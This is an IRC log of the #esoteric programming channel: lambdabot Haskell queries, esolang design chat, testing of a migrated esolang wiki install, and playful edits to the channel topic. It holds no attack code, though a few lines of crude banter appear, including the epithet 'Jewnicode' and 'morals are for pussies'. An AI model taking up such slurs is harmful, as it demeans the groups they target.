23:41:14 <oerjan> not to forget http://esoteric.voxelperfect.net/wiki/AAAAAAAAAAAAAA%21%21%21%21
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23:47:01 <oerjan> i have a feeling the spec is rather ambiguous, which may be why no one has implemented it
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00:36:46 <oerjan> actually parentheses not needed
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00:37:10 <oerjan> > 42.0 ** (1/3) -- other roots
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00:39:26 <fizzie> And how do I get all the N roots?
00:39:33 <hagb4rd> you told me once oerjan, but i forgot: how to calculate a function for a number of values like x² for -10..10 with step 2
00:40:15 <oerjan> > [x^2 | x <- [-10, -8 .. 10]]
00:40:16 <lambdabot> [100,64,36,16,4,0,4,16,36,64,100]
00:40:40 <oerjan> > [42.0 ** (1/n) | n <- [1..]] -- for fizzie
00:40:41 <lambdabot> [42.0,6.48074069840786,3.4760266448864496,2.5457298950218306,2.111785764966...
00:41:02 <oerjan> or wait, did you mean all the complex roots?
00:41:05 <fizzie> oerjan: No, I mean, all three cube roots of 42, for examle.
00:42:15 <fizzie> Okay, they're equally spaced around the thing, I suppose.
00:42:27 <fizzie> > (^2) <$> [-10, -8 .. 10] -- not related
00:42:28 <lambdabot> [100,64,36,16,4,0,4,16,36,64,100]
00:42:40 <oerjan> @hoogle a -> Complex a
00:42:41 <lambdabot> Data.Complex (:+) :: a -> a -> Complex a
00:42:41 <lambdabot> Data.Complex cis :: RealFloat a => a -> Complex a
00:43:21 <oerjan> > [42.0 ** (1/3) * cis (n * pi / 3) | n <- [0, 2, 4]]
00:43:22 <lambdabot> [3.4760266448864496 :+ 0.0,(-1.7380133224432242) :+ 3.010327378703255,(-1.7...
00:43:51 <fizzie> OKAY, like you often say.
00:44:24 <lambdabot> http://darcs.haskell.org/packages/base/Data/Complex.hs
00:45:43 <oerjan> > [makePolar (42.0 ** (1/3)) (n * pi / 3) | n <- [0, 2, 4]]
00:45:54 <oerjan> > [mkPolar (42.0 ** (1/3)) (n * pi / 3) | n <- [0, 2, 4]]
00:45:55 <lambdabot> [3.4760266448864496 :+ 0.0,(-1.7380133224432242) :+ 3.010327378703255,(-1.7...
00:46:09 <zzo38> Tell me idea/complaint about this please? http://sprunge.us/QdMI
00:47:07 <hagb4rd> > [a*b | a <- [1 .. 10], b <- [2, 4 .. 10]]
00:47:08 <lambdabot> [2,4,6,8,10,4,8,12,16,20,6,12,18,24,30,8,16,24,32,40,10,20,30,40,50,12,24,3...
00:47:40 <fizzie> octave:3> roots([1, 0, 0, -42])
00:47:54 <fizzie> It's perhaps not the most pleasant interface either.
00:48:12 <fizzie> Takes coefficients of a polly nomial.
00:48:43 <oerjan> well haskell doesn't have _that_ in base, i think
00:50:26 <hagb4rd> > [ a | a <- [1, 2, 4, 7, 11..29]]
00:50:27 <lambdabot> <no location info>: parse error on input `..'
00:50:27 <fizzie> You can say roots(poly(X)) in Octave if you want to solve eigenvalues of X really badly. (poly(X) returns the characteristic polynomial.)
00:50:35 <hagb4rd> > [ a | a <- [1, 2, 4, 7, 11 .. 29]]
00:50:36 <lambdabot> <no location info>: parse error on input `..'
00:50:58 <oerjan> hagb4rd: sorry, only one comma
00:51:48 <fizzie> > [a | a <- [1, 2, 4] ++ [7, 11 .. 29]]
00:52:11 <lambdabot> [1,3,6,10,15,21,28,36,45,55,66,78,91,105,120,136,153,171,190,210,231,253,27...
00:52:20 <lambdabot> [1,2,4,7,11,16,22,29,37,46,56,67,79,92,106,121,137,154,172,191,211,232,254,...
00:53:17 <fizzie> > takeWhile (<= 29) $ scanl (+) 1 [1..]
00:53:29 <hagb4rd> what does scanl mean at all?
00:53:45 <oerjan> > scanl f x [1,2,3] :: [Expr]
00:53:46 <lambdabot> [x,f x 1,f (f x 1) 2,f (f (f x 1) 2) 3]
00:54:54 <oerjan> it's like foldl except it also gives intermediate results
00:56:00 <fizzie> > take 5 $ iterate f x
00:56:01 <lambdabot> [x,f x,f (f x),f (f (f x)),f (f (f (f x)))]
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00:56:22 <fizzie> It's also a bit like that except it also has that list to go along.
00:58:54 <zzo38> I intend to try to add other stuff to extensible-data package, such as TADS2-style inheritance and CLC-INTERCAL-style object orientation.
00:59:19 <zzo38> I am not yet quite sure how
01:01:13 <oerjan> hagb4rd: also, scanl often works on infinite lists, but foldl never does
01:03:11 <oerjan> also there are scanl1 and foldl1 if you don't want that special first element
01:03:16 <fizzie> > fst <$> iterate (uncurry ((`ap` (1 +)) . ((,) .) . (+))) 1
01:03:17 <lambdabot> [1,2,4,7,11,16,22,29,37,46,56,67,79,92,106,121,137,154,172,191,211,232,254,...
01:03:19 <fizzie> (Can you tell I used @pl there to make it more readable?)
01:04:11 <fizzie> It was \(n,i) -> (n+i,i+1) back when it was still unreadably pointy.
01:04:14 <oerjan> > scanl (+) 1 $ enumFrom 1
01:04:15 <lambdabot> [1,2,4,7,11,16,22,29,37,46,56,67,79,92,106,121,137,154,172,191,211,232,254,...
01:05:53 <zzo38> As well as rulebooks as in Inform 7
01:06:52 <oerjan> is this a bit like multifile predicates in prolog?
01:08:47 <zzo38> oerjan: Someone has said it resembles that
01:09:01 <zzo38> But I don't really know
01:09:08 <oerjan> there is supposedly the #haskell-in-depth channel for deeper haskell discussions, although i think elliott said it was nearly dead
01:10:00 <zzo38> O, well, that is why I often use this channel; the people in #haskell channel tend to hate it. But I do write on #haskell channel too
01:10:09 <oerjan> in fact, you might ask elliott if he knows a better place to discuss this kind of stuff
01:11:03 <oerjan> from stackoverflow and the latest haskell weekly news, it looks to me like he is more into haskell now than before he left here
01:11:50 <oerjan> zzo38: yes, but i have noticed you rarely get any answers here either
01:12:24 <zzo38> oerjan: Yes I know. But usually they are closer to the kind of answers I am looking for, when there are answers.
01:17:52 <zzo38> Would you even know how Prolog's multifile predicates would be implemented in Haskell?
01:18:28 <zzo38> Did you look at the code I posted and if it seems to help at all?
01:20:01 <oerjan> i took a glimpse and decided it was over my head, alas
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01:56:38 <hagb4rd> yes elliott..did he show up once in the past decade?
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01:57:59 <oerjan> he was here last yesterday or the day before, but he only comes here now because he's trying to take over the esolang wiki
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01:58:21 <oerjan> he is on freenode, though
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02:00:07 <hagb4rd> i don't understand. you mean he's on freenode not joining this channel? y?
02:00:27 <oerjan> in fact i have a private window open with him
02:00:33 <zzo38> *Someone* should take over the esolang wiki; there are still things to change in the software and server configuration. (But it doesn't necessarily have to be elliott; it could be Gregor.)
02:00:48 <oerjan> he said something about #esoteric not being interesting any more :(
02:02:12 <Gregor> Arguably it should be somebody who's actually on the channel X_X
02:02:20 <Gregor> But then, I don't want to do it and codu doesn't really have the room anyway.
02:02:52 <zzo38> Gregor: Yes I suppose so; I did suggest it to be you
02:03:53 <Gregor> Instead I'll just be bitter about not having ops in spite of being one of the longest-standing members of the #esoteric community ;)
02:05:07 <zzo38> hagb4rd: Then you call them and ask them
02:06:19 <zzo38> hasb4rd: Ask elliott
02:07:10 <hagb4rd> i'm a piece of chickenshit
02:08:15 <hagb4rd> something bad must have happened,.. i know that
02:08:40 <Gregor> No, I think we can conclude with impunity that he's just being a dick.
02:10:15 <oerjan> Gregor: hey you are next on _my_ list of people to op. i'm just not sure if we need more ops right now.
02:10:45 <oerjan> and we ops would have to discuss it i should assume
02:10:50 <zzo38> I think we don't need more ops right now.
02:11:18 <hagb4rd> i didn't even notice we had some
02:11:34 <hagb4rd> feeling glad there is no need for
02:20:41 <zzo38> I looked up some things in GNU Prolog manual. They have dynamic procedures, public procedures, multifile procedures, discontiguous procedures, and operator tables.
02:21:18 <pikhq> Are there non-oerjan ops?
02:21:31 <pikhq> That have talked this decade?
02:21:37 <zzo38> My extensible-data for Haskell allows fields of a record, choices of a union, and items of a list, to be specified in multiple modules.
02:22:19 <oerjan> fizzie: is your opitude a secret?
02:22:40 <zzo38> hagb4rd: Try CS ACCESS #esoteric LIST
02:22:45 <pikhq> Oh, right, fizzie.
02:22:48 <fizzie> Not that I know of, no.
02:23:19 <oerjan> i'd ask ais523 if i can reveal that he's an op, but he's not here.
02:23:39 <fizzie> The network reveals it to everyone anyhow.
02:24:28 <oerjan> and lament was here today for about 10 secs or so. but spiritually he counts in the haven't-talked-in-a-decade list.
02:25:42 <zzo38> oerjan: The CS ACCESS #esoteric LIST tells you that ais523 is on the access list.
02:25:52 <oerjan> also, elliott says no.
02:28:44 <zzo38> And I would like to be able to use some of the dynamic clause management stuff from Prolog in Haskell, if I could know how to implement such things.
02:31:42 <zzo38> Do you know if there are packages to implement some Prolog stuff in Haskell and which ones?
02:35:12 <hagb4rd> zzo38: http://lambda-the-ultimate.org/node/112 <-- check this entry
02:37:14 <hagb4rd> also that one: http://darcs.haskell.org/nofib/real/prolog/Examples
02:37:29 <zzo38> hagb4rd: OK. They say macros would help; I wrote Hampp would that help?
02:38:48 <zzo38> The document that first one links is unreadable
02:39:50 <zzo38> What is Haskell B.?
02:41:11 <zzo38> And anyways those aren't what I was looking for; what I was looking for, is ways to implement some of the features of Prolog and other programming languages so that they can be used in Haskell.
02:41:40 <zzo38> (I finally found the package which I can use to implement Icoruma's wildcard includes in a Haskell preprocessor.)
02:41:46 <hagb4rd> but can't find any packaged suiting this issue
02:42:41 <zzo38> (And then I could implement wildcard imports as well.)
03:07:08 <zzo38> Another thing I would like to have in Haskell is "shadow dictionaries" and I don't know if any other programming language has anything like that.
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03:21:48 <Gregor> Better than mulchy threading.
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04:02:40 <zzo38> Can it treat choice-points as first-class values?
04:04:56 <oerjan> sounds continuation-like
04:07:05 <zzo38> I suppose so. But whether there is any way in whichever programming languages, that can implement something like this: http://esolangs.org/wiki/CLCLC-INTERCAL#Backtracking
04:08:27 <hagb4rd> guess zzo38 won't stop throwing curveballs tonight ;)
04:09:03 <zzo38> hagb4rd: I don't have any normal balls!
04:09:50 * oerjan swats hagb4rd -----###
04:11:05 <zzo38> But I do want to be able to implement things from other programming languages to be usable in Haskell; including things from Prolog, TADS, Inform 7, and INTERCAL.
04:11:43 <zzo38> Which might be strange to some people.
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04:16:29 <zzo38> hagb4rd: What does that mean?
04:16:58 <hagb4rd> tried to find a climax describing your approach ;p
04:17:59 <zzo38> O, that is what it means.
04:18:01 <hagb4rd> you mean erisian? its derived from eris, the greek goddess of chaos and disorder
04:18:45 <zzo38> Yes I know what Eris is, and about Greek goddess; I read about it in Wikipedia
04:23:21 <Jafet> Derive a language from Eros instead
04:24:47 <zzo38> Jafet: Then *you* do that. I don't want to
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05:04:07 <elliott> pls load http://95.149.228.149:8181/w/index.php thx
05:06:22 <oerjan> "Dette webområdet kan ikke vises i Internet Explorer"
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05:06:27 <elliott> what does it show in the URL bar?
05:06:36 <oerjan> http://95.149.228.149:8181/w/index.php
05:07:22 <elliott> ok, it's mediawiki doing that
05:07:45 <oerjan> oh i tried with lynx from nvg
05:08:39 <oerjan> though horribly formatted
05:08:53 <elliott> only the "Esolang" looks weird here
05:09:15 <madbr> looks like Esolana yeah
05:09:24 <madbr> since the g's descender is cut off
05:09:54 <elliott> oerjan: are there any other formatting glitches?
05:09:57 <oerjan> hm actually it's not _that_ bad, just missing a couple pictures and that bottom g
05:10:27 <elliott> right. the pictures can be repaired, as can the styles of the main page
05:11:12 <oerjan> hm and several tabs are placed differently
05:11:44 <oerjan> yeah different style in general
05:11:50 <elliott> oerjan: yes, it's the new Vector skin, as used on Wikipedia
05:11:57 <elliott> it's the default for any MediaWiki from the last few years
05:12:32 <madbr> Ditching the old one or just reskinning it?
05:13:16 <elliott> madbr: the old what? to provide context, Graue has abandoned the wiki (no time to admin it) and it's become overrun with spam so I'm working on getting the database dump from its ancient version of mediawiki to import into something made in the last 5 years :P
05:13:47 <elliott> which involved a manually patched version of the SQL dump over an /existing/ database structure with some tables emptied
05:13:52 <elliott> so now I'm trying to see if it actually worked :P
05:14:53 <madbr> http://95.149.228.149:8181/w/index.php?title=Fatmouse looking good
05:15:51 <elliott> hahaha, the login process is really broken since I don't have the user table
05:15:55 <elliott> i can log in as me, but it expires the next time i click any link
05:16:03 <elliott> and I think nobody else can log in
05:16:06 <kmc> so why is the esolang wiki image some limes?
05:16:32 <elliott> with questionable licensing
05:16:41 <kmc> i'm disappointed it's not someone's personal limes
05:16:48 <elliott> oh, it's *someone's* personal limes
05:16:52 <elliott> it's from one of those like stock photo farm sites
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05:16:58 <elliott> which just contain a huge dump of images people upload under questionable licenses
05:17:07 <elliott> I suspect Graue got it from wikimedia commons
05:17:13 <elliott> where it was present but deleted for bad licensing
05:17:46 <elliott> anyway, I think this means I can massage a complete database dump from Graue into full working order
05:17:52 <madbr> Guess it could use a new different logo pic
05:18:23 <elliott> although they'll need re-creating from the source image if we're using Vector
05:18:28 <elliott> since they have horrible white pixel fringing
05:19:03 <madbr> just google image searched it
05:19:38 <elliott> http://us.123rf.com/400wm/400/400/babah/babah1004/babah100400002/6700020-cut-lime-and-branch-of-mit.jpg
05:20:57 <oerjan> this is the future, we need it at least 4d
05:21:36 <elliott> it seems like all the pages are in working order
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05:23:07 <elliott> see, i was just going to ask oerjan to try and log in to see what's up with the user table, too.
05:29:39 <kmc> i like the limes
05:31:26 <elliott> ok, so does anyone see any problems beyond what's reported with that installation?
05:31:44 <elliott> if it's good, I'll tear it down and install another one for configuration testing
05:57:08 <hagb4rd> elliott! :D good to see you
05:57:32 <hagb4rd> i've heard you want to leave us
05:58:14 <elliott> i'm only here to bother people to try and test this wiki installation!
05:59:16 <madbr> damn you mlp, taking over the internets :/
05:59:58 <monqy> elliott: oh hey, do the db import
06:00:41 <elliott> monqy: try and log in to http://95.149.228.149:8181/w/index.php?title=Main_Page please
06:01:14 <elliott> note to self because i'll probably lose logs somehow: http://sprunge.us/URjN
06:01:58 <monqy> There is no user by the name "Monqy". Usernames are case sensitive. Check your spelling, or create a new account.
06:02:07 <monqy> there's no "monqy" either (I tried that first)
06:02:25 <elliott> plan "ostracise monqy": check
06:02:44 <monqy> not like I ever made any edits oh wait yes i did
06:02:58 <monqy> i put "hello" on my userpage and reverted a few spam edits
06:03:19 <elliott> you'll just have to revert.....
06:03:42 <elliott> sigh its 6 am and cold and i stayed up wrangling with a fucking sql file i hate life
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06:06:58 <Jafet> DROP TABLE elliott
06:07:19 <elliott> i'm about to drop some tables, it's true
06:07:33 <elliott> they might even get flipped first
06:08:49 <madbr> nops,can't log in I think
06:09:02 <madbr> though I probably forgot the password anyways
06:09:04 <elliott> yeah that's expected, i just needed to check that the weird pseudologin was just for my account
06:11:12 <elliott> i was being serious though
06:12:16 <hagb4rd> aw however.. is it a newer version of mediawiki? or why not make it an 1:1 copy?
06:13:04 <hagb4rd> you are cleaning it up, are you?
06:13:29 <elliott> it's a newer version, yes; the idea is to make sure everything works before asking graue for the keys
06:13:38 <elliott> (in this analogy the keys are the full database dump)
06:14:18 <hagb4rd> but i guess the db structure is at least the same
06:14:37 <elliott> well, it's "sort of" the same
06:15:04 <elliott> I had to start with a normal install of MW, clear some of the tables to free them up for replacement entries, drop another so it could recreate it with a years-old structure (as it expected that format to insert with)
06:15:15 <elliott> then run a patched copy (to remove table prefixes and DROP TABLE statements) of the SQL file
06:15:23 <elliott> then run the MediaWiki update script which churned for like four minutes
06:15:30 <elliott> and it still only mostly works :P
06:17:27 <hagb4rd> everything seems to work fine, at first sight
06:17:49 <hagb4rd> haven't tried to edit stuff at all
06:18:16 <elliott> you should try, I'm scared to :P
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06:22:24 <hagb4rd> the only thing i see is a tiny stylesheet error cutting of the bottom of the header title ('Esolang') on the main page :>
06:23:22 <elliott> no no no. it's Fsolana now!
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06:34:44 <elliott> anyway, I'll continue this crap tomorrow
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06:53:52 <zzo38> I cannot connect to the new wiki
06:55:15 <zzo38> Do you know what is wrong with this?
06:58:31 <zzo38> Will they add both the MediaWiki <math> extension and my own <tex> extension?
06:58:56 <zzo38> And the suggested <program> extension?
06:59:18 <Jafet> What is a <tex> extension? Embedding TeX code?
06:59:24 <monqy> 22:53:11 < zzo38> I cannot connect to the new wiki
06:59:25 <monqy> 22:54:33 < zzo38> Do you know what is wrong with this?
06:59:30 <monqy> it likely went down with elliott
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07:06:10 <hagb4rd> tex is text format..like the famous latex jafet
07:06:56 <Sgeo> Where is the new wiki?
07:07:01 <hagb4rd> jafet: http://en.wikipedia.org/wiki/TeX
07:10:00 <zzo38> Jafet: Yes, embedding TeX code. I have written a format file and a PHP file; the format file can probably be used as is but the PHP needs to be adjusted to work on MediaWiki and to do caching (caching is highly recommended)
07:10:24 <Jafet> Yes, so it doesn't seem trivial to embed TeX code in a HTML page
07:11:05 <zzo38> I have written the file http://zzo38computer.cjb.net/texify/ See that for more information
07:11:48 <ion> The famous latex jafet? As opposed to the normal one?
07:12:26 <Jafet> zzo: I see. You just print an image and embed the image
07:13:54 <zzo38> Jafet: Yes; on such a wiki you should cache the result with a filename having a hashcode of the input.
07:14:13 <Jafet> So it's the extension of <math> to arbitrary TeX
07:14:25 <zzo38> Jafet: Mostly, yes.
07:14:34 <Jafet> That's nice (as in, I'm not sure of a good use for it)
07:14:57 <zzo38> There are a few commands disabled, however (see near the end of the format file for a list of them)
07:15:06 <Jafet> Procedural diagrams, I suppose
07:15:15 <Jafet> If you can generate those with mediawiki templates or something
07:16:08 <Jafet> Oh, and if someone thinks TeX is awful, make him write mediawiki templates
07:21:20 <zzo38> I have: class ExtTree v p c | c -> p, p -> v; But how do I make it so that it requires that the "p" in one instance must always be the "c" of another instance, but with the same "v" as this instance?
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07:37:31 <zzo38> The POKEMON BREEDER card is no good except in first generation only, because otherwise you cannot necessarily know which stage 2 card corresponds with which basic card
07:39:05 <zzo38> (Each pokemon is assigned a number; and that means that in first generation only, you can tell which stage 2 card corresponds with which basic card by the numbers. Without the numbers, it is impossible to know which card to play.)
07:39:57 <zzo38> Do you agree??????????
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07:42:36 <itidus21> a b ab bab abbab bababbab abbabbababbab bababbababbabbababbab
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09:57:54 <pikhq> Driving home, someone was driving the wrong way.
09:58:03 <pikhq> I know that the visibility was all of 10 feet, but jesus man.
09:58:28 <pikhq> How you manage to be on the wrong side of a 4 lane divided highway is beyond me.
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13:07:01 * kallisti is sleeping regularly and now has reasonable deskspace.
13:07:31 <Taneb> Also, I completed Super Mario Galaxy this morning
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13:13:17 <Taneb> ...I'm out of functions for Jackson
13:14:36 <kallisti> Taneb: I've been mucking around with the FFI lately.
13:15:06 <Taneb> Should Jackson have FFI
13:15:18 <Taneb> My Piet-like language
13:15:31 <Taneb> It has a lot of things.
13:15:56 <Taneb> I'm struggling to think of functions
13:16:03 <Taneb> It needs a lot of functions
13:16:48 <kallisti> well, in theory, it only needs a few. :>
13:16:59 <kallisti> but I assume you're going for one of those "semi-practical esolangs"
13:17:40 <Taneb> It's nigh-unreadable
13:18:49 <Taneb> Can you tell the difference between #0099CC and #0099FF when there's only one pixel of each?
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13:24:31 <kallisti> @tell Taneb Of course. You must be using a crappy hex editor. :>
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13:49:06 <lambdabot> Taneb: You have 1 new message. '/msg lambdabot @messages' to read it.
13:49:10 <lambdabot> kallisti said 24m 39s ago: Of course. You must be using a crappy hex editor. :>
13:49:33 <Taneb> I was referring to the colours.
13:57:53 <shachaf> @tell Taneb Taneb: You have 1 new message. '/msg lambdabot @messages' to read it.
13:58:09 <lambdabot> shachaf said 16s ago: Taneb: You have 1 new message. '/msg lambdabot @messages' to read it.
13:59:16 <shachaf> Taneb: It's your own fault for using /msg #esoteric @messages instead of /msg lambdabot @messages
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15:10:48 <hagb4rd> http://2.asset.soup.io/asset/2905/6018_3568_450.jpeg
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15:13:36 <Taneb> > return () :: Maybe ()
15:13:43 <Taneb> > fail :: Maybe ()
15:13:44 <lambdabot> Couldn't match expected type `Data.Maybe.Maybe ()'
15:13:48 <Taneb> > fail "" :: Maybe ()
15:13:55 <lambdabot> forall (m :: * -> *). (MonadPlus m) => Bool -> m ()
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17:17:42 <Gregor> You'd have to ask elliott.
17:17:57 <Taneb> NihilistDandy, yes, but still on Beta 1.7, I think
17:18:21 <NihilistDandy> Taneb: Yeah. I just tried connecting and it said outdated. :( I miss our pits
17:20:16 <Gregor> Gee, if only somebody on this channel had an up-to-date server that nobody seems to want to ever use.
17:20:24 <Taneb> @ask elliott Have you found your ssh key yet?
17:20:45 <Taneb> Gregor, is that a sort-of-sarcastic "I have a server which nobody uses"?
17:26:12 <Gregor> NihilistDandy: gregorr.dyndns.org , but it has a whitelist, so I'll need your MC name to invite you in.
17:28:24 <lambdabot> Taneb: You have 1 new message. '/msg lambdabot @messages' to read it.
17:28:28 <lambdabot> elliott said 5m 36s ago: I'm already juggling the hell that is MediaWiki, Stack Overflow and procrastination, and you want me to set up a Minecraft server too?! In a few days when I put MediaWiki up
17:28:28 <lambdabot> for real I'll have to get the server situation sorted out; ask me after then. (I already know where the key is.)
17:30:33 <zzo38> What is a whitelist plox?
17:31:18 <Gregor> Taneb: Minecraft name?
17:31:35 <Gregor> NihilistDandy: You might want to get down from there ...
17:50:25 <zzo38> O NO IT IS MISTAKE PLEASE
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17:56:20 <zzo38> gopher.semmel.ch appears to be down today
18:02:58 <zzo38> Do you like to play ping-pong?
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18:23:32 <itidus21> of course i always choose a netsplit resistant server
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19:23:21 <zzo38> Make up some computer game involving my and my brother's D&D character
19:24:00 <zzo38> Also please question me about this: http://hpaste.org/63474 (I don't know why the syntax highlighting is Visual Basic; it says Literate Haskell on the main page)
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21:14:19 <fizzie> Whenever I see "dlrow", I think of Befunge.
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21:22:57 -!- zzo38 has set topic: Home of N>=1 IOCCC Winners! | This topic message is in Chinese when you are not paying attention. | http://codu.org/logs/_esoteric/.
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21:23:28 -!- zzo38 has set topic: Home of N>0 IOCCC Winners! | This topic message is in Chinese when you are not paying attention. | http://codu.org/logs/_esoteric/.
21:38:19 -!- fizzie has set topic: Home of N>=0 IOCCC Winners! | This topic message is in Chinese when you are not paying attention. | http://codu.org/logs/_esoteric/.
21:39:20 -!- Gregor has set topic: Home of N>=-12 IOCCC Winners! | This topic message is in Chinese when you are not paying attention. | http://codu.org/logs/_esoteric/.
21:44:34 -!- fizzie has set topic: Home of N!=-12 IOCCC Winners! | This topic message is in Chinese when you are not paying attention. | http://codu.org/logs/_esoteric/.
21:44:37 <fizzie> Would've used ≠, but didn't dare to put Jewnicode in the topic.
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21:47:29 -!- Gregor has set topic: Home of -e^(pi*i) IOCCC Winners! | This topic message is in Chinese when you are not paying attention. | http://codu.org/logs/_esoteric/.
21:52:28 <zzo38> Invent an INTERCAL variant which compiles into hardware.
22:15:13 <myndzi> DC3STXENQBELFFBELLFSTX?
22:19:31 -!- Taneb has joined.
22:20:15 <Taneb> To do some more work--- hang on!!!
22:20:28 <Taneb> Who de-zombiefied the topic!?
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22:21:50 -!- Taneb has set topic: Topic is a zombie; task sayTopic; say "Topic for #esoteric is: Home of -e^(pi*i) IOCCC Winners! | This topic message is in Chinese when you are not paying attention. | http://codu.org/logs/_esoteric/"; animate; animate.
22:22:40 <Taneb> The topic must be in an esolang.
22:23:30 <zzo38> Yes it is very recent and can be dropped (and reinstated) at any time
22:23:41 <monqy> topic should be snack/esme polyglot
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22:38:29 -!- Gregor has set topic: putStr "Topic for #esoteric is: Home of -e^(pi*i) IOCCC Winners! | This topic message is in Chinese when you are not paying attention. | http://codu.org/logs/_esoteric/".
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23:03:44 <zzo38> Stupid. Exercise, Health, and Feel Good.
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00:01:37 <zzo38> I don't know everything! Didn't you know that?
00:13:31 <Sgeo> http://www.linuxbsdos.com/2011/12/17/pear-os-linux-panther-3-review/
00:13:36 <Sgeo> Well, I'm "impressed"
00:16:00 <Gregor> Soooooooooo, think totally different by imitating the most abysmally bad UI available on the market?
00:18:22 <pikhq_> Imitating it poorly, even.
00:20:02 <Sgeo> ....OS X's interface is bad?
00:20:21 <Sgeo> That wasn't really what bothered me >.>
00:20:36 <Sgeo> Just the ... issues, for something that isn't really all that impressive
00:25:05 <Gregor> Yeah, I think it's going to be months before the IOCCC high wears off.
00:25:11 <Gregor> My code hasn't even been published yet.
00:25:21 <Gregor> Life. Awesomeness. Life is awesomeness.
00:27:55 <Taneb> Gregor, what does your IOCCC code do?
00:28:21 <ais523> Taneb: it's a portable JIT
00:30:34 <Taneb> Cool, for what language?
00:30:45 <ais523> it was a simple esolang, but not BF
00:31:21 <fizzie> Which I suppose counts as an esolang.
00:31:44 <fizzie> I may recall worng; there were so many suggestions.
00:32:06 <fizzie> "Most surprisingly portable
00:32:08 <fizzie> Gregor Richards - JIT dc"
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00:38:29 <fizzie> Gregor: Thanks to the Law of Conservation of Happiness, the more you enjoy it, the more the non-winners (and non-participants) feel bad.
00:39:14 <Gregor> fizzie: I think it's well established that I'm a terrible human being, so that's fine by me.
00:47:14 <zzo38> I am sorry I am late.
00:49:42 <zzo38> Now that I made Haskell extensible-data package, and then I could make package for trigger events on a stack, similar to Magic: the Gathering, with static effects and so on, where changes are recorded according to the effects on the stack, which can in turn trigger other ones and so on.
00:52:12 <tswett> So, updates on elliott. He's quite good at walking now, and he can even say a few words.
00:52:45 <tswett> fizzie: so, the only way to make other people happier is to suffer yourself?
00:53:01 <tswett> This explains why the Sufferer had all those followers...
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02:10:18 <zzo38> I am not exactly sure what this kind of data structure should be called
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02:14:38 <calamari> ahh the system tab ate the slash
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02:50:24 <zzo38> What is a system tab and how it ate the slash?
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03:56:22 <Sgeo> "If you've tried KDE and didn't like it, it was probably on a distro which didn't give it as much love and attention as OpenSUSE does."
03:56:27 <Sgeo> This makes me want to try OpenSUSE
03:56:48 <Sgeo> Especially because the main reason I switched away from KDE some time ago was because KDE applications were crashy for me
03:57:59 <pikhq_> I switched away from KDE because I liked 3.x, not 4.x. :)
03:59:06 <zzo38> New in version 0.2.1 of Hampp: Wildcard import/wildcard includes. Wildcard includes are sorted in alphabetical order like in Icoruma; order is irrelevant for imports
03:59:41 <Sgeo> I don't think I've really played with 4.x that much
04:00:08 <Sgeo> I think I did touch it in my UNIX class the other day (We all play with UNIXes in VMs, and keep a log of what we do to it)
04:00:32 <Sgeo> Officially me and my partner in the class are using Linux Mint, but on the side I tried other stuff, don't remember which one had KDE
04:03:16 -!- zzo38 has set topic: putStr "House of -e^(pi*i) IOCCC Winners! | Iuckqlwviv Kjugobe was here. | This topic message is in Chinese when you are not paying attention, and German when you are; it seems English because you are tricked! | http://codu.org/logs/_esoteric/".
04:04:40 <zzo38> Now these topic message are better????!!!!?!?!?!?!!!?!???!!!!??!?!?!??!???!?!?!??..!?!?..!?..?..!!..!!!.!?!.?
04:05:16 * Sgeo hits zzo38 with an interroban
04:05:35 <zzo38> I cannot type Unicode on IRC so I typed it like that instead.
04:05:38 <Sgeo> Although interroban is a rather inquisitive way to ban someone from an IRC channel, I guess
04:11:08 -!- ion has set topic: putStr "House of −e^(π·i) IOCCC Winners! | Iuckqlwviv Kjugobe was here. | This topic message is in Chinese when you are not paying attention, and German when you are; it seems English because you are tricked! | http://codu.org/logs/_esoteric/".
04:17:45 <Gregor> <pikhq_> I switched away from KDE because I liked 3.x, not 4.x. :) // ditto
04:17:55 <Gregor> ion: Thanks, I was too lazy to font it up properly X-D
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04:22:32 <ion> > exp (pi * sqrt (-1)) + 1 :: Complex CReal
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05:43:58 <zzo38> From this information so far, can you figure out my godfather's middle name?
05:52:34 * Sgeo looks at XenClient longingly
05:53:06 * Sgeo wonders if there are any Free Software versions of the same concept
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06:04:31 <oerjan> finally a sensible topic!
06:18:05 <zzo38> So, you think we did it good job this time?
06:20:35 <zzo38> I have some idea make some kind of mathematical data structure in Haskell, similar to the stack in Magic: the Gathering, with triggers and so on, but which also records changes as well; but what would such things be called?
06:22:39 <zzo38> Is the topic message going to trick you?
06:22:57 <zzo38> From this information, can you figure out my godfather's middle name?
06:23:11 <zzo38> Do you know Iuckqlwviv Kjugobe?
06:23:40 <zzo38> oerjan: No to which questions, do you mean all four?
06:23:53 <oerjan> that's an exercise for the reader.
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06:24:03 <oerjan> although it was really about your godfather.
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06:24:48 <zzo38> I doubt anyone can figure out my godfather's middle name from this; I do not even know anything about my godfather
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12:55:49 <Taneb> I've got a book on Fermat's Last Theorem.
12:55:53 <Taneb> AND I WILL READ IT
12:56:00 <oklopol> i read one when i was a kid
12:56:14 <oklopol> (the proof was not in there, just the history)
12:58:43 <Jafet> Fermat made a marginal contribution to the theorem.
13:01:03 <Taneb> Actually, today a relative gave me a whole bunch of books on maths
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13:02:53 <oklopol> were there like actual math books?
13:04:17 <Taneb> I don't think they're like exersize or text books
13:05:07 <oklopol> well what size are they then?
13:05:26 <oklopol> but yeah i read a lot of that kind of stuff as a kid
13:05:29 <Taneb> Varies, from pocket-size to hardback size
13:05:53 <oklopol> okay. most of my books are exersize.
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13:31:34 <ion> taneb: http://heh.fi/tmp/fermat
13:32:52 <Taneb> MUSHROOM SANDWICH TIME
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13:54:11 <kmc> Yes, I'll tell you, I'll tell why I'm lying here, but God forgive me, and God help us all, because you don't know what you ask of me.
14:17:03 <Gregor> And that's the story of how kmc killed a room full of strangers. THE END.
14:30:22 <Gregor> Morals are for pussies.
14:31:36 <itidus20> kmc later died of natural causes, finally bringing closure to the families of his victims.
14:34:32 <Gregor> As kmc was over six hundred years old at the time, the immediate families were all dead, so there really wasn't much closure to be had.
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17:11:59 <kallisti> Tootoot222: so.... you haven't learned anything. good.
17:12:09 <kallisti> OH GOD MY OLD DESKTOP HAS OLD THINGS ON IT
17:16:15 -!- Gregor has set topic: putStr "House of −e^(π·i) IOCCC Winners! | How do I Linux!^H? | This topic message is in Chinese when you are not paying attention, and German when you are; it seems English because you are tricked! | http://codu.org/logs/_esoteric/".
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20:04:42 <lambdabot> Phantom_Hoover: You have 3 new messages. '/msg lambdabot @messages' to read them.
20:07:14 <ais523> Phantom_Hoover: I'm here…
20:10:08 <Phantom_Hoover> "We've traced the ais523! He's on the floor below you!" But it was too late.
20:15:20 <fizzie> I'm confused, now. Shouldn't something be happ... ohhhh, it's about the waikiki again?
